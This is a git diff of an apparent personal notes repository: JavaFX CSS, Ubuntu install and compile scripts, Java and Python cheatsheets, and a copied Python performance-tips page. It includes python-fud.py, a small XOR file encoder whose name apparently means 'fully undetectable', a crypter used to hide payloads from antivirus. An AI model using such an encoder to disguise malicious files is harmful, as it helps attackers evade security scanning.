linear-gradient(#f5f5f5 0%, #dbdbdb 50%, #cacaca 51%, #d7d7d7 100%); + -fx-background-insets: 0,1,4,5; + -fx-background-radius: 9,8,5,4; + -fx-padding: 15 30 15 30; + -fx-font-family: "Helvetica"; + -fx-font-size: 18px; + -fx-font-weight: bold; + -fx-text-fill: #333333; + -fx-effect: dropshadow( three-pass-box , rgba(255,255,255,0.2) , 1, 0.0 , 0 , 1); +} +#ipad-grey Text { + -fx-effect: dropshadow( one-pass-box , white , 0, 0.0 , 0 , 1 ); +} +#lion-default { + -fx-background-color: + rgba(0,0,0,0.08), + linear-gradient(#5a61af, #51536d), + linear-gradient(#e4fbff 0%,#cee6fb 10%, #a5d3fb 50%, #88c6fb 51%, #d5faff 100%); + -fx-background-insets: 0 0 -1 0,0,1; + -fx-background-radius: 5,5,4; + -fx-padding: 3 30 3 30; + -fx-text-fill: #242d35; + -fx-font-size: 14px; +} +#lion { + -fx-background-color: + rgba(0,0,0,0.08), + linear-gradient(#9a9a9a, #909090), + linear-gradient(white 0%, #f3f3f3 50%, #ececec 51%, #f2f2f2 100%); + -fx-background-insets: 0 0 -1 0,0,1; + -fx-background-radius: 5,5,4; + -fx-padding: 3 30 3 30; + -fx-text-fill: #242d35; + -fx-font-size: 14px; +} +#windows7-default { + -fx-background-color: + #3c7fb1, + linear-gradient(#fafdfe, #e8f5fc), + linear-gradient(#eaf6fd 0%, #d9f0fc 49%, #bee6fd 50%, #a7d9f5 100%); + -fx-background-insets: 0,1,2; + -fx-background-radius: 3,2,1; + -fx-padding: 3 30 3 30; + -fx-text-fill: black; + -fx-font-size: 14px; +} +#windows7 { + -fx-background-color: + #707070, + linear-gradient(#fcfcfc, #f3f3f3), + linear-gradient(#f2f2f2 0%, #ebebeb 49%, #dddddd 50%, #cfcfcf 100%); + -fx-background-insets: 0,1,2; + -fx-background-radius: 3,2,1; + -fx-padding: 3 30 3 30; + -fx-text-fill: black; + -fx-font-size: 14px; +} diff --git a/src/Java/Scripts/install Dev Pkgs.sh b/src/Java/Scripts/install Dev Pkgs.sh new file mode 100644 index 0000000..76ba4bb --- /dev/null +++ b/src/Java/Scripts/install Dev Pkgs.sh @@ -0,0 +1,58 @@ +#!/bin/bash + +function main() { +OS=`lsb_release -i | awk '{ print $3 }'` + + if ! [[ "${OS}" == "Ubuntu" ]]; then + echo "System isn't Ubuntu.... Exiting." + exit; + fi + + while [[ $ANSWER != 0 && $ANSWER != 1 && + $ANSWER != 2 && $ANSWER != 3 ]]; do + clear; + echo "Which language would you like to download?" + echo "(0) Python" + echo "(1) Java" + echo "(2) GTKMM & Glade" + echo "(3) C++ & C" + read -p "--> : " ANSWER; + done + + case $ANSWER in + 0) installPython ;; + 1) installJava ;; + 2) installGTKMM ;; + 3) installCPPAndC ;; + *) echo "Incorrect input...";; + esac +} + +installPython() { + sudo apt-get install python; +} + +installJava() { + + DISTRO=`lsb_release -c | awk '{ print $2 }'` + + sudo echo "" >> /etc/apt/sources.list + sudo echo "" >> /etc/apt/sources.list + sudo echo "#### Oracle Java (JDK) Installer PPA" >> /etc/apt/sources.list + sudo echo "" >> /etc/apt/sources.list + sudo echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu "${DISTRO}" main" >> /etc/apt/sources.list + sudo echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu "\"${DISTRO}"\" main" >> /etc/apt/sources.list + + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886 + sudo apt-get update; + sudo apt-get install oracle-java8-installer oracle-java8-set-default; +} + +installGTKMM() { + sudo apt-get install libgtkmm-3.0-dev glade; +} + +installCPPAndC() { + sudo apt-get install g++ libc-dev-bin; +} +main; \ No newline at end of file diff --git a/src/Java/Scripts/unix_compile_multi-jar.sh b/src/Java/Scripts/unix_compile_multi-jar.sh new file mode 100755 index 0000000..475b54e --- /dev/null +++ b/src/Java/Scripts/unix_compile_multi-jar.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +function main() { + javac -cp .:../bin/resources/jars/* *.java + rm ../bin/*.class + mv *.class ../bin/ +} +main; diff --git a/src/Java/Scripts/unix_compile_select-jars.sh b/src/Java/Scripts/unix_compile_select-jars.sh new file mode 100755 index 0000000..d64d5b4 --- /dev/null +++ b/src/Java/Scripts/unix_compile_select-jars.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# -Xlint:unchecked +function main() { + javac *.java + rm ../bin/*.class + mv *.class ../bin/ +} +main; diff --git a/src/Java/TXTs/Android Phone As Webcam.txt b/src/Java/TXTs/Android Phone As Webcam.txt new file mode 100644 index 0000000..b16cd0f --- /dev/null +++ b/src/Java/TXTs/Android Phone As Webcam.txt @@ -0,0 +1,43 @@ +---- Desktop Client Side ---- +First: Install v4l2loopback from https://github.com/umlaeute/v4l2loopback + # Note: You MUST have installed kernel headers; they MUST match the active kernel version BEFORE + * make + * make && sudo make install + +Second: If you haven't after install done the following, do: + sudo modprobe v4l2loopback + +Third: Test a loopback device with the following command: + * ffmpeg -f x11grab -r 15 -s 1280x720 -i :0.0+0,0 \ + * -vcodec rawvideo -pix_fmt yuv420p -threads 0 -f v4l2 /dev/video0 + # Note: You MIGHT need to add -vf hflip OR -vf vflip OR both to get the image oriented correctly. + +Fourth: Setup server to receive client camera stream from android phone. + +Fifth: Pipe the stream to a v4l2loopback device. (Usually /dev/video0) + +Sixth: Get Skype, OBS, or other apps to point to the device. + + +[ Client Processing ] +Remote (Phone) +v4l2-ctl --set-parm=30;v4l2-ctl --set-fmt-video=width=640,height=480,pixelformat=JPEG --stream-mmap --stream-count=-1 --stream-to=- 2>/dev/null | gst-play-1.0 "fd://0" + + +Local (PC) +-i needs to point to a stream from the phone... +mp4 and webm seems like good streaming codecs <-- you know what i mean. =P + + +ffmpeg -re -i https://github.com/STMicroelectronics/meta-st-openstlinux/blob/thud/recipes-samples/demo/demo-launcher/media/ST2297_visionv3.webm?raw=true \ +-vcodec rawvideo -pix_fmt yuv420p -threads 0 \ +-f v4l2 /dev/video0 + + + + + + +---- Android Phone Side ---- + +Need to make an app.... diff --git a/src/Java/TXTs/Java Cheatsheet of Useful Commands and structures.txt b/src/Java/TXTs/Java Cheatsheet of Useful Commands and structures.txt new file mode 100644 index 0000000..10b32cc --- /dev/null +++ b/src/Java/TXTs/Java Cheatsheet of Useful Commands and structures.txt @@ -0,0 +1,193 @@ +import javafx.fxml.FXML; // fxml stuff +import javafx.scene.control.Button; // a button +import javafx.scene.control.ToggleButton; // a toggl button +import javafx.scene.layout.AnchorPane; // an anchor pane +import javafx.scene.layout.VBox; // a virticle box; ie stacking ontop +import javafx.scene.layout.HBox; // a horizontal box; ie stacking side-to-side +import javafx.scene.image.Image; // path to an image +import javafx.scene.image.ImageView; // image window port/view area +import javafx.scene.control.Label; // a label area for text +import javafx.scene.control.Tooltip; // tooltips +import javafx.event.ActionEvent; // for event handling +import java.io.File; // dealing with files and dirs +import javafx.scene.input.KeyEvent; // just determins if a key is pressed +import javafx.scene.input.KeyCode; // Get keys entered +import javafx.scene.input.MouseEvent; // mouse clicks +import javafx.scene.control.TextField; // Input field +import javafx.event.ActionEvent; // fxml event setOnAction +import javafx.scene.Scene; // the area of the play. ;p +import javafx.scene.layout.Pane; // like anchor pane but less cool +import javafx.stage.Stage; // stage windows +import javafx.stage.StageStyle; // assigning a style of css parts +import javafx.scene.control.TextArea; // large ammounts of text +import javafx.scene.control.TreeView; // tree view area +import javafx.scene.control.TreeItem; // a branch of a tree... kinda.... +import javafx.beans.property.StringProperty; // String stuff +import javafx.beans.property.SimpleStringProperty; // String stuff +import javafx.scene.layout.TilePane; // Like gridview but easyer +import javafx.concurrent.Task; // A thread seperate from javafx's main thread +import javafx.application.Platform; // Usually IN a task thread but lazy loads stuff +import java.lang.Runtime; // A process runner +import javafx.stage.FileChooser; // a file chooser window +import javafx.stage.DirectoryChooser; // a folder chooser window +import javafx.scene.input.MouseEvent; // mouse click detection +import javafx.event.EventHandler; // Event handling +import javafx.scene.Cursor; // courser stuff +import java.util.concurrent.atomic.AtomicLong; // gui update timing +import javafx.application.Platform; // part of application +import javafx.scene.input.Clipboard; // clipboard mngmnt +import javafx.scene.input.ClipboardContent; // handles clipboard stuff +import javafx.scene.control.TablePosition; // handle table positioning stuff + + + +iconList.length // iconList is an array. this gives its size +System.getProperty("user.home") // Get user Home dir NOTE: There is NO trailing / or \ +desktopDir.listFiles(); // desktopDir is a File path and listFiles lists the dir contents if any. + + + +NOTE: private not always needed + + +// draging an item // icon is a vbox element here. Can use other stuff + icon.addEventFilter(MouseEvent.MOUSE_PRESSED, + new EventHandler() { + @Override public void handle(MouseEvent click) { + if (click.getClickCount() == 2) { + click.consume(); + try { + pb = Runtime.getRuntime().exec("xdg-open " + path); + } catch(Throwable imgIOErr) { + System.out.println(imgIOErr); + } + } else { + orgSceneX = click.getSceneX(); + orgSceneY = click.getSceneY(); + orgTranslateX = desktopArea.getLeftAnchor(icon); + orgTranslateY = desktopArea.getTopAnchor(icon); + } + } + }); + + icon.addEventFilter(MouseEvent.MOUSE_DRAGGED, + new EventHandler() { + @Override public void handle(MouseEvent clck) { + double offsetX = clck.getSceneX() - orgSceneX; + double offsetY = clck.getSceneY() - orgSceneY; + double newTranslateX = orgTranslateX + offsetX; + double newTranslateY = orgTranslateY + offsetY; + desktopArea.setLeftAnchor(icon, newTranslateX); + desktopArea.setTopAnchor(icon, newTranslateY); + } + }); + + + +// mouse event + pane.addEventHandler(MouseEvent.MOUSE_CLICKED, new EventHandler() { + @Override + public void handle(MouseEvent event) { + event.consume(); + try { + pb = Runtime.getRuntime().exec("xdg-open " + path); + } catch(Throwable imgIOErr) { + System.out.println(imgIOErr); + } + } + }); + + + +// Run a system command + private Process pb; // Process runner + try { + pb = Runtime.getRuntime().exec(movieImg); + pb.waitFor(); + } catch(Throwable imgIOErr) { + System.out.println(imgIOErr); + } + + + +// Directory chooser +import javafx.stage.DirectoryChooser; + + +// Key event + @FXML void onEnter(KeyEvent event) { // if tied to an fxml file and the controller is called + if (event.getCode().equals(KeyCode.ENTER)) { // checks what has been entered then does something. + } + + +// Task, a seperate thread + Task getDir = new Task() { // getdir is just tags name/caller + @Override public Void call() { + // enter wahat is to be run + return null; + }}; + new Thread(getDir).start(); + +// Platform lazy loads stuff to javafx thread from a seperate THREAD!! +// Need to be from a Task thread + Platform.runLater(new Runnable() { + @Override public void run() { + view.setImage(pth); + } + }); + + + +// Ge images in java +import javafx.scene.image.Image; +import javafx.scene.image.ImageView; + private ImageView imgView; + + + imgView.setImage(img); // img is likely an Image img = new Image(); + imgView.setFitWidth(100); // Set width + imgView.setFitHeight(100); // Set Height + + +// Set tooltips +import javafx.scene.control.Tooltip; + private Tooltip tooltip; + + tooltip = new Tooltip("What to display on hover"); + tooltip.minHeight(800); + tooltip.minWidth(800); + Tooltip.install(icon, tooltip); // icon is the thing we are setting this to. + // icon could be a Label, Image, Button, etc. + // tooltip is the displayed message/tooltip + + +// anchor pane properties +import javafx.scene.layout.AnchorPane; + // icon is the thing being setup. IE, button, label, etc + anchorPane.setLeftAnchor(icon, 100.0); // Must be a double!! + anchorPane.setRightAnchor(icon, 100.0); + anchorPane.setTopAnchor(icon, 100.0); + + +// Tree view awesomeness!!! +// This is more a class file but can be converted to non class bits. + private TreeItem trunk = new TreeItem ("UMSL HR Site Scan"); + private TreeItem branch = new TreeItem<> ("------------------------"); + private TreeItem leaf = new TreeItem (); + private TreeView treeOutput = new TreeView (trunk); + + public void setExpandSetting() { + trunk.setExpanded(true); + } + + public void newBranch(String in) { + trunk.getChildren().add(branch); + branch = new TreeItem (in); + } + + public void addLeaf(String in) { + leaf = new TreeItem (in); + branch.getChildren().add(leaf); + } + + public TreeView getOutputArea() { return treeOutput; } diff --git a/src/Java/launch.cpp b/src/Java/launch.cpp new file mode 100644 index 0000000..767d1bc --- /dev/null +++ b/src/Java/launch.cpp @@ -0,0 +1,21 @@ +#include +#include +#include +using namespace std; + + +// This is aparently a jenky way of determining the OS that's running. +int main() { + char* ENVIRONMENT = getenv("windir"); + + + if (ENVIRONMENT != NULL) { + chdir("bin\\"); + system("set JAVA_HOME=\"\" & java -cp '.;jsoup.jar' Main"); + } else { + chdir("bin/"); + system("export JAVA_HOME='' && java -cp '.:jsoup.jar' Main"); + } + +return 0; +} diff --git a/src/PDFs/10 Common Software Architectural Patterns in a Nutshell.pdf b/src/PDFs/10 Common Software Architectural Patterns in a Nutshell.pdf new file mode 100644 index 0000000..d45f77e Binary files /dev/null and b/src/PDFs/10 Common Software Architectural Patterns in a Nutshell.pdf differ diff --git a/src/PDFs/Android Messaging Web App.pdf b/src/PDFs/Android Messaging Web App.pdf new file mode 100644 index 0000000..56ec0ba Binary files /dev/null and b/src/PDFs/Android Messaging Web App.pdf differ diff --git a/src/PDFs/Become A Certificate Authority.pdf b/src/PDFs/Become A Certificate Authority.pdf new file mode 100644 index 0000000..235f1fb Binary files /dev/null and b/src/PDFs/Become A Certificate Authority.pdf differ diff --git a/src/PDFs/DIY - Custom Linux.pdf b/src/PDFs/DIY - Custom Linux.pdf new file mode 100644 index 0000000..bc7c550 Binary files /dev/null and b/src/PDFs/DIY - Custom Linux.pdf differ diff --git a/src/PDFs/Debootstraping Mini Root File System.pdf b/src/PDFs/Debootstraping Mini Root File System.pdf new file mode 100644 index 0000000..a6c4208 Binary files /dev/null and b/src/PDFs/Debootstraping Mini Root File System.pdf differ diff --git a/src/PDFs/Linux Menu Specifications.pdf b/src/PDFs/Linux Menu Specifications.pdf new file mode 100644 index 0000000..e7d9d80 Binary files /dev/null and b/src/PDFs/Linux Menu Specifications.pdf differ diff --git a/src/PDFs/Tools For Building Geospatial Web Applications.pdf b/src/PDFs/Tools For Building Geospatial Web Applications.pdf new file mode 100644 index 0000000..d7cf785 Binary files /dev/null and b/src/PDFs/Tools For Building Geospatial Web Applications.pdf differ diff --git a/src/Python/Python Performance Tips/Python Performance Tips.html b/src/Python/Python Performance Tips/Python Performance Tips.html new file mode 100644 index 0000000..f221d41 --- /dev/null +++ b/src/Python/Python Performance Tips/Python Performance Tips.html @@ -0,0 +1,651 @@ + + +Python Performance Tips + + + + + + + +

+ + +

+ +

Python Performance Tips

+ +

This page is devoted to various tips and tricks that help improve the +performance of your Python programs. Wherever the information comes from +someone else, I've tried to identify the source. Note: I +originally wrote this in (I think) 1996 and haven't done a lot to keep it +updated since then. Python has has changed in some significant ways since +then, which means that some of the orderings will have changed. You should +always test these tips with your application and the version of Python you +intend to use and not just blindly accept that one method is faster than +another.

+ +

Also new since this was originally written are packages like Pyrex, Psyco, Weave, and PyInline, which can dramatically +improve your application's performance by making it easier to push +performance-critical code into C or machine language.

+ +

If you have any light to shed on this subject, let me know.

+ +

Contents

+ + +

Profiling Code

+ +

The first step to speeding up your program is learning where the +bottlenecks lie. It hardly makes sense to optimize code that is never +executed or that already runs fast. I use two modules to help locate the +hotspots in my code, profile and trace. In later examples I also use the +timeit module, which is new in Python 2.3.

+ +

Profile Module

+ +

The profile +module is included as a standard module in the Python distribution. +Using it to profile the execution of a set of functions is quite easy. +Suppose your main function is called main, takes no arguments +and you want to execute it under the control of the profile module. In its +simplest form you just execute

+ +
import profile
+profile.run('main()')
+
+ +

When main() returns, the profile module will print a table +of function calls and execution times. The output can be tweaked using the +Stats class included with the module. In Python 2.4 profile will allow the +time consumed by Python builtins and functions in extension modulesto be +profiled as well.

+ +

Hotshot Module

+ +

New in Python 2.2, the hotshot +package is intended as a replacement for the profile module. The +underlying module is written in C, so using hotshot should result in a much +smaller performance hit, and thus a more accurate idea of how your +application is performing. There is also a hotshotmain.py +program in the distributions Tools/scripts directory which +makes it easy to run your program under hotshot control from the command +line.

+ +

Trace Module

+ +

The trace module is a spin-off of the profile module I wrote originally +to perform some crude statement level test coverage. It's been heavily +modified by several other people since I released my initial crude effort. +As of Python 2.0 you should find trace.py in the Tools/scripts directory of +the Python distribution. Starting with Python 2.3 it's in the standard +library (the Lib directory). You can copy it to your local bin directory +and set the execute permission, then execute it directly. It's easy to run +from the command line to trace execution of whole scripts:

+ +
% trace.py -t spam.py eggs
+
+ +

There's no separate documentation, but you can execute "pydoc trace" to +view the inline documentation.

+ +

Sorting

+ +

From Guido van Rossum +<guido@python.org>

+ +

+Sorting lists of basic Python objects is generally pretty efficient. The +sort method for lists takes an optional comparison function as an argument +that can be used to change the sorting behavior. This is quite convenient, +though it can really slow down your sorts.

+ +

An alternative way to speed up sorts is to construct a list of tuples +whose first element is a sort key that will sort properly using the default +comparison, and whose second element is the original list element. This is +the so-called Schwartzian +Transform.

+ +

+Suppose, for example, you have a list of tuples that you want to sort by the +n-th field of each tuple. The following function will do that.

+ +
def sortby(somelist, n):
+    nlist = [(x[n], x) for x in somelist]
+    nlist.sort()
+    return [val for (key, val) in nlist]
+
+ +

Matching the behavior of the current list sort method (sorting in place) +is easily achieved as well:

+ +
def sortby_inplace(somelist, n):
+    somelist[:] = [(x[n], x) for x in somelist]
+    somelist.sort()
+    somelist[:] = [val for (key, val) in somelist]
+    return
+
+ +

Here's an example use:

+ +
>>> somelist = [(1, 2, 'def'), (2, -4, 'ghi'), (3, 6, 'abc')]
+>>> somelist.sort()
+>>> somelist 
+[(1, 2, 'def'), (2, -4, 'ghi'), (3, 6, 'abc')]
+>>> nlist = sortby(somelist, 2)
+>>> sortby_inplace(somelist, 2)
+>>> nlist == somelist
+True
+>>> nlist = sortby(somelist, 1) 
+>>> sortby_inplace(somelist, 1)
+>>> nlist == somelist
+True
+
+ +

String Concatenation

+ +

Strings in Python are immutable. This fact frequently sneaks up and +bites novice Python programmers on the rump. Immutability confers some +advantages and disadvantages. In the plus column, strings can be used a +keys in dictionaries and individual copies can be shared among multiple +variable bindings. (Python automatically shares one- and two-character +strings.) In the minus column, you can't say something like, "change all +the 'a's to 'b's" in any given string. Instead, you have to create a new +string with the desired properties. This continual copying can lead to +significant inefficiencies in Python programs.

+ +

Avoid this:

+ +
s = ""
+for substring in list:
+    s += substring
+
+ +

Use s = "".join(list) instead. The former is a very common +and catastrophic mistake when building large strings. Similarly, if you are +generating bits of a string sequentially instead of:

+ +
s = ""
+for x list:
+    s += some_function(x)
+
+ +

use

+ +
slist = [some_function(elt) for elt in somelist]
+s = "".join(slist)
+
+ +

Avoid:

+ +
out = "<html>" + head + prologue + query + tail + "</html>"
+
+ +

Instead, use

+ +
out = "<html>%s%s%s%s</html>" % (head, prologue, query, tail)
+
+ +

Even better, for readability (this has nothing to do with efficiency +other than yours as a programmer), use dictionary substitution:

+ +
out = "<html>%(head)s%(prologue)s%(query)s%(tail)s</html>" % locals()
+
+ +

This last two are going to be much faster, especially when piled up over +many CGI script executions, and easier to modify to boot. In addition, the +slow way of doing things got slower in Python 2.0 with the addition of rich +comparisons to the language. It now takes the Python virtual machine a lot +longer to figure out how to concatenate two strings. (Don't forget that +Python does all method lookup at runtime.)

+ +

Loops

+ +

Python supports a couple of looping constructs. The for +statement is most commonly used. It loops over the elements of a sequence, +assigning each to the loop variable. If the body of your loop is simple, +the interpreter overhead of the for loop itself can be a +substantial amount of the overhead. This is where the map +function is handy. You can think of map as a for +moved into C code. The only restriction is that the "loop body" of +map must be a function call.

+ +

Here's a straightforward example. Instead of looping over a list of +words and converting them to upper case:

+ +
newlist = []
+for word in oldlist:
+    newlist.append(word.upper())
+
+ +

you can use map to push the loop from the interpreter into +compiled C code:

+ +
newlist = map(str.upper, oldlist)
+
+ +

List comprehensions were added to Python in version 2.0 as well. They +provide a syntactically more compact way of writing the above for loop:

+ +
newlist = [s.upper() for s in list]
+
+ +

It's generally not any faster than the for loop version, however.

+ +

Guido van Rossum wrote a much more detailed examination of loop +optimization that is definitely worth reading.

+ +

Avoiding dots...

+ +

Suppose you can't use map or a list comprehension? You may +be stuck with the for loop. The for loop example has another inefficiency. +Both newlist.append and word.upper are function +references that are reevaluated each time through the loop. The original +loop can be replaced with:

+ +
upper = str.upper
+newlist = []
+append = newlist.append
+for word in list:
+    append(upper(word))
+
+ +

This technique should be used with caution. It gets more difficult to +maintain if the loop is large. Unless you are intimately familiar with that +piece of code you will find yourself scanning up to check the definitions of +append and upper.

+ +

Local Variables

+ +

The final speedup available to us for the non-map version +of the for loop is to use local variables wherever possible. +If the above loop is cast as a function, append and +upper become local variables. Python accesses local variables +much more efficiently than global variables.

+ +
def func():
+    upper = str.upper
+    newlist = []
+    append = newlist.append
+    for word in words:
+	append(upper(word))
+    return newlist
+
+ +

At the time I originally wrote this I was using a 100MHz Pentium running +BSDI. I got the following times for converting the list of words in +/usr/share/dict/words (38,470 words at that time) to upper +case:

+ + + + + + + + + + + + + + + + + + + + + + +
VersionTime (seconds)
Basic loop3.47
Eliminate dots2.45
Local variable & no dots1.79
Using map function0.54
+ +

Eliminating the loop overhead by using map is often going +to be the most efficient option. When the complexity of your loop precludes +its use other techniques are available to speed up your loops, however.

+ +

Initializing Dictionary Elements

+ +

Suppose you are building a dictionary of word frequencies and you've +already broken your text up into a list of words. You might execute +something like:

+ +
wdict = {}
+has_key = wdict.has_key
+for word in words:
+    if not has_key(word): wdict[word] = 0
+    wdict[word] = wdict[word] + 1
+
+ +

Except for the first time, each time a word is seen the if +statement's test fails. If you are counting a large number of words, many +will probably occur multiple times. In a situation where the initialization +of a value is only going to occur once and the augmentation of that value +will occur many times it is cheaper to use a try statement:

+ +
wdict = {}
+for word in words:
+    try:
+        wdict[word] += 1
+    except KeyError:
+        wdict[word] = 1
+
+ +

It's important to catch the expected KeyError exception, and not have a +default except clause to avoid trying to recover from an +exception you really can't handle by the statement(s) in the +try clause.

+ +

A third alternative became available with the release of Python 2.x. +Dictionaries now have a get() method which will return a default value if +the desired key isn't found in the dictionary. This simplifies the loop:

+ +
wdict = {}
+for word in words:
+    wdict[word] = wdict.get(word, 0) + 1
+
+ +

When I originally wrote this section, there were clear situations where +one of the first two approaches was faster. It seems that all three +approaches now exhibit similar performance (within about 10% of each other), +more or less independent of the properties of the list of words.

+ +

Import Statement Overhead

+ +

import statements can be executed just about anywhere. +It's often useful to place them inside functions to restrict their +visibility and/or reduce initial startup time. Although Python's +interpreter is optimized to not import the same module multiple times, +repeatedly executing an import statement can seriously affect performance in +some circumstances.

+ +

Consider the following two snippets of code (originally from Greg +McFarlane, I believe - I found it unattributed in a comp.lang.python/python-list@python.org posting and +later attributed to him in another source):

+ +
def doit1():
+    import string             ###### import statement inside function
+    string.lower('Python')
+
+for num in range(100000):
+    doit1()
+
+ +

or:

+ +
import string             ###### import statement outside function
+def doit2():
+    string.lower('Python')
+
+for num in range(100000):
+    doit2()
+
+ +

doit2 will run much faster than doit1, even +though the reference to the string module is global in doit2. +Here's a Python interpreter session run using Python 2.3 and the new +timeit module, which shows how much faster the second is than +the first:

+ +
>>> def doit1():
+...   import string
+...   string.lower('Python')
+... 
+>>> import string
+>>> def doit2():
+...   string.lower('Python')
+... 
+>>> import timeit
+>>> t = timeit.Timer(setup='from __main__ import doit1', stmt='doit1()')
+>>> t.timeit()
+11.479144930839539
+>>> t = timeit.Timer(setup='from __main__ import doit2', stmt='doit2()')
+>>> t.timeit()
+4.6661689281463623
+
+ +

String methods were introduced to the language in Python 2.0. These +provide a version that avoids the import completely and runs even +faster:

+ +
def doit3():
+    'Python'.lower()
+
+for num in range(100000):
+    doit3()
+
+ +

Here's the proof from timeit:

+ +
>>> def doit3():
+...   'Python'.lower()
+... 
+>>> t = timeit.Timer(setup='from __main__ import doit3', stmt='doit3()')
+>>> t.timeit()
+2.5606080293655396
+
+ +

The above example is obviously a bit contrived, but the general +principle holds.

+ +

Using map with Dictionaries

+ +

I found it frustrating that to use map +to eliminate simple for loops like:

+ +
dict = {}
+nil = []
+for s in list:
+    dict[s] = nil
+
+ +

I had to use a lambda +form or define a named function +that would probably negate any speedup I was getting by using +map in the first place. I decided I needed some functions to +allow me to set, get or delete dictionary keys and values en masse. I +proposed a change to Python's dictionary object and used it for awhile. +However, a more general solution appears in the form of the +operator module in Python 1.4. Suppose you have a list and you +want to eliminate its duplicates (ignoring the presence of set objects new +in Python 2.3). Instead of the code above, you can execute:

+ +
dict = {}
+map(operator.setitem, [dict]*len(list), list, [])
+list = statedict.keys()
+
+ +This moves the for loop into C where it executes much faster. + +

Data Aggregation

+ +

Function call overhead in Python is relatively high, especially compared +with the execution speed of a builtin function. This strongly suggests that +where appropriate, functions should handle data aggregates. Here's a +contrived example written in Python.

+ +
import time
+x = 0
+def doit1(i):
+    global x
+    x = x + i
+
+list = range(100000)
+t = time.time()
+for i in list:
+    doit1(i)
+
+print "%.3f" % (time.time()-t)
+
+ +

vs.

+ +
import time
+x = 0
+def doit2(list):
+    global x
+    for i in list:
+        x = x + i
+
+list = range(100000)
+t = time.time()
+doit2(list)
+print "%.3f" % (time.time()-t)
+
+ +

Here's the proof in the pudding using an interactive session:

+ +
>>> t = time.time()
+>>> doit2(list)
+>>> print "%.3f" % (time.time()-t)
+0.204
+>>> t = time.time()
+>>> for i in list:
+...     doit1(i)
+... 
+>>> print "%.3f" % (time.time()-t)
+0.758
+
+ +

Even written in Python, the second example runs about four times faster +than the first. Had doit been written in C the difference +would likely have been even greater (exchanging a Python for +loop for a C for loop as well as removing most of the function +calls).

+ +

Doing Stuff Less Often

+ +

The Python interpreter performs some periodic checks. In particular, it +decides whether or not to let another thread run and whether or not to run a +pending call (typically a call established by a signal handler). Most of the +time there's nothing to do, so performing these checks each pass around the +interpreter loop can slow things down. There is a function in the +sys module, setcheckinterval, which you can call +to tell the interpreter how often to perform these periodic checks. Prior +to the release of Python 2.3 it defaulted to 10. In 2.3 this was raised to +100. If you aren't running with threads and you don't expect to be catching +many signals, setting this to a larger value can improve the interpreter's +performance, sometimes substantially.

+ +

Python is not C

+ +

It is also not Perl, Java, C++ or Haskell. Be careful when transferring +your knowledge of how other languages perform to Python. A simple example +serves to demonstrate:

+ +
    % timeit.py -s 'x = 47' 'x * 2'
+    1000000 loops, best of 3: 0.574 usec per loop
+    % timeit.py -s 'x = 47' 'x << 1'
+    1000000 loops, best of 3: 0.524 usec per loop
+    % timeit.py -s 'x = 47' 'x + x'
+    1000000 loops, best of 3: 0.382 usec per loop
+
+ +

Now consider the similar C programs (only the add version is shown):

+ +
#include <stdio.h>
+
+int
+main (int argc, char **argv) {
+	int i = 47;
+	int loop;
+	for (loop=0; loop<500000000; loop++)
+		i + i;
+}
+
+ +

and the execution times:

+ +
    % for prog in mult add shift ; do
+    < for i in 1 2 3 ; do
+    <   echo -n "$prog: "
+    <   /usr/bin/time ./$prog
+    < done
+    < echo
+    < done
+    mult:         6.12 real         5.64 user         0.01 sys
+    mult:         6.08 real         5.50 user         0.04 sys
+    mult:         6.10 real         5.45 user         0.03 sys
+
+    add:          6.07 real         5.54 user         0.00 sys
+    add:          6.08 real         5.60 user         0.00 sys
+    add:          6.07 real         5.58 user         0.01 sys
+
+    shift:        6.09 real         5.55 user         0.01 sys
+    shift:        6.10 real         5.62 user         0.01 sys
+    shift:        6.06 real         5.50 user         0.01 sys
+
+ +

Note that there is a significant advantage in Python to adding a number +to itself instead of multiplying it by two or shifting it left by one bit. +In C on all modern computer architectures, each of the three arithmetic +operations are translated into a single machine instruction which executes +in one cycle, so it doesn't really matter which one you choose.

+ +

A common "test" new Python programmers often perform is to translate the +common Perl idiom

+ +
    while (<>) {
+	print;
+    }
+
+ +

into Python code that looks something like

+ +
    #!/usr/bin/env python
+
+    import fileinput
+
+    for line in fileinput.input():
+	print line,
+
+ +

and use it to conclude that Python must be much slower than Perl. As others +have pointed out numerous times, Python is slower than Perl for some things +and faster for others. Relative performance also often depends on your +experience with the two languages.

+ +
+
+Skip Montanaro
+(skip@pobox.com) +
+ +

+ Valid XHTML 1.0! +

+ +

+ +Last modified: Fri Mar 26 09:08:18 CST 2004 + +

+ + \ No newline at end of file diff --git a/src/Python/Scripts/python-fud.py b/src/Python/Scripts/python-fud.py new file mode 100644 index 0000000..819153e --- /dev/null +++ b/src/Python/Scripts/python-fud.py @@ -0,0 +1,44 @@ +#!/usr/bin/python +import sys, getopt, ntpath, os + +def xor(source, output, key): + contents = bytearray(open(source, "rb").read()) + for i in range(len(contents)): + for j in range(len(key)): + contents[i] ^= ord(key[j]) + + with open(output, 'wb') as output: + output.write(contents) + +def main(filename, argv): + inputfile = '' + outputfile = '' + key = '' + + try: + opts, args = getopt.getopt(argv, "hs:o:k:", ["source=", "output=", "key="]) + except getopt.GetoptError: + print(filename + ' -s -o -k ') + sys.exit(1) + + for opt, arg in opts: + if opt == '-h': + print(filename + ' -s -o -k ') + sys.exit() + elif opt in ("-s", "--source"): + if not os.path.exists(arg): + print('The source file does not exist') + sys.exit(1) + inputfile = arg + elif opt in ("-o", "--output"): + outputfile = arg + elif opt in ("-k", "--key"): + key = arg + + if not inputfile or not outputfile or not key: + print(filename + ' -s -o -k ') + sys.exit(1) + + xor(inputfile, outputfile, key) + +if __name__ == "__main__": main(ntpath.basename(sys.argv[0]), sys.argv[1:]) diff --git a/src/Python/TXTS/Python Cheatsheet of Useful Commands.txt b/src/Python/TXTS/Python Cheatsheet of Useful Commands.txt new file mode 100755 index 0000000..165644a --- /dev/null +++ b/src/Python/TXTS/Python Cheatsheet of Useful Commands.txt @@ -0,0 +1,71 @@ +0.) For creating functions do: + def fun(): + def main(): + def start(): etc... +to pass variables to another function do: + def part1(x): + print "Hi %d" %x <-- number/digit + NOTE: A String can not use %d + unless it's a number: 1, 2, etc! + print "Hi %s" %x <-- String + def main(): + x=3 + part1(x) <-- calls part1 function with x being passed to it. +NOTE: You can pass many values through. + def part1(x,y,z): + print "Hi %d %d %d" %(x,y,z) <-- numbers/digits + NOTE: Strings can not use %d + unless it's a number: 1, 2, etc! + print "Hi %s %s 